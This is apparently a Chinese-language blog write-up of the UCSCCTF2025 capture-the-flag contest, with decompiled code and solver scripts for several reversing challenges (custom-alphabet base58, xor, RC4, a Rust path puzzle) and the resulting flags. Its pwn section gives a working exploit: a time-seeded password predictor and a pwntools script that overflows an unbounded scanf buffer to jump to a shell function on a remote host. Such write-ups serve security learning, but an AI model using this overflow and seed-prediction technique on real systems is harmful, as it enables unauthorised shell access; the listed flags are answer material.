UCSCCTF2025

总结

emm，头一次拿一等和ak Re，但是质量仍待商榷，crypto:web=6，队内密码手进修rsa整数分解问题去了

Re

simplere

魔改ep section upx壳

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int __fastcall main(int argc, const char **argv, const char **envp)
{
  Stream *Stream; // rax
  size_t v4; // rax
  char Str[112]; // [rsp+20h] [rbp-60h] BYREF
  unsigned __int8 Buf1[112]; // [rsp+90h] [rbp+10h] BYREF
  char Buffer[264]; // [rsp+100h] [rbp+80h] BYREF
  void *Block; // [rsp+208h] [rbp+188h]
  size_t Size; // [rsp+210h] [rbp+190h]
  void *Buf2; // [rsp+218h] [rbp+198h]

  _main(argc, argv, envp);
  Buf2 = &unk_405080;
  puts("Give Me FlllllllaaaaaGGG!");
  Stream = __iob_func();
  fgets(Buffer, 256, Stream);
  Buffer[strcspn(Buffer, "\n")] = 0;
  Size = strlen(Buffer);
  Block = malloc(Size);
  memcpy(Block, Buffer, Size);
  obfuscate_encode((const unsigned __int8 *)Block, Size, Str);
  v4 = strlen(Str);
  obfuscate_transpose_xor(Str, v4, Buf1);
  if ( !memcmp(Buf1, Buf2, 8uLL) )
    puts("Yes You Win!");
  else
    puts("not");
  free(Block);
  return 0;
}

两段加密，大致是base58和xor

base58变表，第一次遇到，加密过程和代码值得关注，以防以后的魔改

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void __fastcall obfuscate_encode(const unsigned __int8 *a1, unsigned __int64 Size, char *a3)
{
  int v3; // eax
  int v4; // eax
  unsigned __int8 *Block; // [rsp+28h] [rbp-28h]
  int Size_1; // [rsp+34h] [rbp-1Ch]
  int n; // [rsp+38h] [rbp-18h]
  int v8; // [rsp+3Ch] [rbp-14h]
  int j_1; // [rsp+40h] [rbp-10h]
  int v10; // [rsp+44h] [rbp-Ch]
  int v11; // [rsp+44h] [rbp-Ch]
  int k; // [rsp+48h] [rbp-8h]
  int m; // [rsp+48h] [rbp-8h]
  int ii; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]
  int j; // [rsp+4Ch] [rbp-4h]

  j_1 = 0;
  for ( i = 0; i < Size && !a1[i]; ++i )
    ++j_1;
  Size_1 = 138 * Size / 0x64 + 1;
  Block = (unsigned __int8 *)malloc(Size_1);
  memset(Block, 0, Size_1);
  for ( j = j_1; j < Size; ++j )
  {
    v10 = a1[j];
    for ( k = 0; k < Size_1; ++k )
    {
      v11 = (Block[k] << 8) + v10;
      Block[k] = (char)v11 % 58;
      v10 = v11 / 58;
    }
  }
  v8 = 0;
  for ( m = 138 * Size / 0x64; m >= 0; --m )
  {
    if ( Block[m] )
    {
      for ( n = 0; n < j_1; ++n )
      {
        v3 = v8++;
        a3[v3] = *CUSTOM;                       // "wmGbyFp7WeLh2XixZUYsS5cVv1ABRrujdzQ4Kfa6gP8HJN3nTCktqEDo9M"
      }
      break;
    }
  }
  for ( ii = 138 * Size / 0x64; ii >= 0; --ii )
  {
    if ( Block[ii] )
    {
      v4 = v8++;
      a3[v4] = CUSTOM[Block[ii]];               // "wmGbyFp7WeLh2XixZUYsS5cVv1ABRrujdzQ4Kfa6gP8HJN3nTCktqEDo9M"
    }
  }
  a3[v8] = 0;
  free(Block);
}
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#include<stdio.h>
#include<string.h>
int main()
{
	 char enc[] = {0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42,
	 0x33, 0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64, 0x7B, 0x6F, 0x62, 
	 0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47, 0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76, 
	 0x61, 0x56, 0x41, 0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C, 
	0x40, 0x48, 0x65, 0x60, 0x1, 0x40, 0x50, 0x1, 0x61, 0x6F, 0x69, 0x57, 0x0};
	for(int i=0;i<strlen(enc);i++)
		enc[i]^=i+1;
	for(int i=strlen(enc)-1;i>=0;i--)
		printf("%c",enc[i]);
 }

easy_re

n___:h2__?8:?9hl9_h:l__2__2_hk__:?

为以防万一，先留个底

好吧，就一简单xor

为什么flag{d7610b86-5205-3bf3-b0f4-84484ba74105}不对？？？

是平台的问题，出了

ez_debug

rc4解密，没有魔改，一开始想多了，顺带试了下手搓

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import binascii
#flag{111111111111111111111111111111}
enc = "F8C3A3E7C03EB8896A5FC85838A80E3F225F1B81399E1A8AB1E975647A309F6490BD7BAB"
ciphertext = binascii.unhexlify(enc)
key = b'UCSC'

def rc4_init(key):
    sbox = list(range(256))
    j = 0
    for i in range(256):
        j = (j + sbox[i] + key[i % len(key)]) % 256
        sbox[i], sbox[j] = sbox[j], sbox[i]
    return sbox

def rc4_decrypt(data, sbox):
    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + sbox[i]) % 256
        sbox[i], sbox[j] = sbox[j], sbox[i]
        k = sbox[(sbox[i] + sbox[j]) % 256]
        result.append(byte ^ k)
    return bytes(result)

# 初始化 S-box 一次，然后解密
sbox = rc4_init(key)
plaintext = rc4_decrypt(ciphertext, sbox)

# 尝试解码（如果解密成功，应该是可读的文本）
try:
    print(plaintext.decode('utf-8'))
except UnicodeDecodeError:
    print("解密失败，可能密钥错误或数据不是 UTF-8 编码")
    print("原始字节:", plaintext)

有错误，赛后去找

因为是对称加密，动调取数据就完了

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enc = [0x37, 0x30, 0x39, 0x65, 0x39, 0x62, 0x64, 0x64, 0x2D, 0x30, 0x38, 0x35,
       0x38, 0x2D, 0x39, 0x37, 0x35, 0x30, 0x2D, 0x38, 0x63, 0x33, 0x37, 0x2D,
       0x39, 0x62, 0x31, 0x33, 0x35, 0x62, 0x33, 0x31, 0x66, 0x31, 0x36, 0x64]
for i in range(len(enc)):
    print(chr(enc[i]),end='')
#flag{709e9bdd-0858-9750-8c37-9b135b31f16d}

re_ez

对输入进行判断，分析加密逻辑即可

借助ai分析了主要思路，大致如下：

对输入数据进行处理，var = (*(_BYTE *)v18 - 32) ^ 3; 不得>=4

n0x18 += qword_7FF732F40498[(char)var]; n0x18取值 +1，-1，+5，-5

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if ( n0x18 > 0x18 || judge0_1[n0x18] )      // 1 3 6 8 11 13 16 17 18
      exit_0(0);
    judge0_1[n0x18] = 1;
    if ( n0x18 == 3 )                           // 跳出循环关键
      break;
//一个一维数组，要求只经过上述点，不得重复，只能通过n0x18值移动，经过8次从1到3
//1->6->11->16->17->18->13->8->3

/*var的计算是 (input_char -32) ^3 → var的取值0-3。
所以，var=0 → (c-32)^3=0 → c-32=3 → c=35，即'#'的ASCII是35。
var=1 → (c-32)^3=1 → c-32=3^1=2 → c=34 → 双引号"
var=2 → (c-32)^3=2 → c-32=3^2=1 → c=33 → !
var=3 → (c-32)^3=3 → c-32=3^3=0 → c=32 → 空格
flag{md5("""  ###)}
flag{c4eb11b0e0a3cbeed7df057deaec18aa}*/

复现或者没下载的可看下述代码，一开始动调没整明白判断前的一堆函数加载具体意义，可能是rust语言特性吧

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// Hidden C++ exception states: #wind=2 #try_helpers=1
__int64 sub_7FF732F21130()
{
  unsigned __int64 n0x18; // rbx
  __int128 *v1; // rdi
  PSRWLOCK *v2; // r14
  __int64 v3; // rax
  PSRWLOCK *v4; // rcx
  __int128 *v5; // r14
  PSRWLOCK *v6; // rdi
  __int64 v7; // rcx
  void (__fastcall **v8)(__int64); // rdx
  __int64 v9; // rax
  __int64 v10; // rdx
  _QWORD *v11; // rcx
  PSRWLOCK *v12; // rcx
  unsigned __int8 var; // al
  __int64 result; // rax
  __int64 v15; // [rsp+28h] [rbp-58h] BYREF
  __int64 v16; // [rsp+30h] [rbp-50h] BYREF
  __int64 v17; // [rsp+38h] [rbp-48h] BYREF
  __int64 v18; // [rsp+40h] [rbp-40h]
  __int64 v19; // [rsp+48h] [rbp-38h]
  __int64 v20; // [rsp+50h] [rbp-30h]
  __int128 v21; // [rsp+58h] [rbp-28h] BYREF
  char **_[_]_Start_Game__n_; // [rsp+68h] [rbp-18h]
  __int64 v23; // [rsp+70h] [rbp-10h]
  const char *called__Result::unwrap()__on_an__Err__value; // [rsp+78h] [rbp-8h]
  __int64 v25; // [rsp+80h] [rbp+0h]
  _QWORD *v26; // [rsp+88h] [rbp+8h]
  __int64 v27; // [rsp+90h] [rbp+10h]

  v27 = -2LL;
  v17 = 0LL;
  v18 = 1LL;
  v19 = 0LL;
  _[_]_Start_Game__n_ = &off_7FF732F403F0;      // "[+] Start Game!\n"
  v23 = 1LL;
  *(_QWORD *)&v21 = 0LL;
  called__Result::unwrap()__on_an__Err__value = aCalledResultUn;
  v25 = 0LL;
  sub_7FF732F26670(&v21);
  n0x18 = 1LL;
  v1 = &v21;
  v2 = (PSRWLOCK *)&v15;
  while ( 1 )
  {
    _[_]_Start_Game__n_ = &off_7FF732F40408;    // "[+] > "
    v23 = 1LL;
    *(_QWORD *)&v21 = 0LL;
    called__Result::unwrap()__on_an__Err__value = aCalledResultUn;
    v25 = 0LL;
    sub_7FF732F26670(v1);
    *(_QWORD *)&v21 = sub_7FF732F25E60();
    v3 = sub_7FF732F25E90(v1);
    if ( v3 && (v3 & 3) == 1 )
    {
      v4 = v2;
      v5 = v1;
      v6 = v4;
      v26 = (_QWORD *)(v3 - 1);
      v7 = *(_QWORD *)(v3 - 1);
      v8 = *(void (__fastcall ***)(__int64))(v3 + 7);
      v20 = v3;
      (*v8)(v7);
      v9 = *(_QWORD *)(v20 + 7);
      v10 = *(_QWORD *)(v9 + 8);
      v11 = v26;
      if ( v10 )
      {
        sub_7FF732F21520(*v26, v10, *(_QWORD *)(v9 + 16));
        v11 = v26;
      }
      sub_7FF732F21520((__int64)v11, 24LL, 8LL);
      v3 = v20;
      v12 = v6;
      v1 = v5;
      v2 = v12;
    }
    if ( v3 )
    {
      _[_]_Start_Game__n_ = &off_7FF732F40428;  // "flush err\n"
      v23 = 1LL;
      *(_QWORD *)&v21 = 0LL;
      called__Result::unwrap()__on_an__Err__value = aCalledResultUn;
      v25 = 0LL;
      sub_7FF732F26670(v1);
    }
    v15 = sub_7FF732F25C30();
    sub_7FF732F25C60((__int64)v1, v2, (__int64)&v17);// 此处判断输入
    if ( (_QWORD)v21 )
    {
      v16 = *((_QWORD *)&v21 + 1);
      sub_7FF732F3F3A0(
        (unsigned int)aCalledResultUn,
        43,
        (unsigned int)&v16,
        (unsigned int)&off_7FF732F403B0,
        (__int64)&off_7FF732F40438);            // "src\\main.rs"
    }
    if ( !v19 )
      sub_7FF732F3F110(0LL, 0LL, &off_7FF732F40450);// "src\\main.rs"
    var = (*(_BYTE *)v18 - 32) ^ 3;             // 对值进行修改
    if ( var >= 4u )                            // 判断，不符合退出
      exit_0(0);
    n0x18 += qword_7FF732F40498[(char)var];
    if ( n0x18 > 0x18 || judge0_1[n0x18] )      // 1 3 6 8 11 13 16 17 18
      exit_0(0);
    judge0_1[n0x18] = 1;
    if ( n0x18 == 3 )                           // 跳出循环关键
      break;
    v19 = 0LL;
  }
  _[_]_Start_Game__n_ = &off_7FF732F40488;      // "good! flag{md5(your input)}\n"
  v23 = 1LL;
  *(_QWORD *)&v21 = 0LL;
  called__Result::unwrap()__on_an__Err__value = aCalledResultUn;
  v25 = 0LL;
  result = sub_7FF732F26670(&v21);
  if ( v17 )
    return sub_7FF732F21520(v18, v17, 1LL);
  return result;
}

Pwn

userlogin


login下root()函数scanf未限制输入长度

有个shell()函数

payload:

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#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(){
    char * v4 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!";
    int v6 = 63;
    int v2 = time(0LL);
    for(int l = 0;l < 3;l++){
        int v5;
        srand(v2 + l);
        for (int i = 0; i < 16; ++i )
        {
            v5 = rand() % v6;
            printf("%c", v4[v5]);
        }
        printf("\n");
    }
}
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from pwn import *
import os

context(arch='amd64', os='linux')
# p = process('./pwn')
p = remote('39.107.58.236', 43942)

# shell函数地址
shell_addr = 0x401261   

password = os.popen('./genrand').read().split('\n')

info(password)

index = 0
f = False

for i in password:
    if f:
        break

    p.sendafter(b"Password: ", password[index].encode() + b'\n')
    res = p.recv().decode()
    info(res)
    if 'Note: ' in res:
        f = True
    
payload = b'a' * 0x28 + p64(0x401276) + p64(shell_addr)
# payload = b"a" * 20

p.send(payload + b'\n')

p.interactive()
UCSCCTF2025
https://alenirving.github.io/2025/04/20/UCSCCTF2025/
作者
Ma5k
发布于
2025年4月20日
许可协议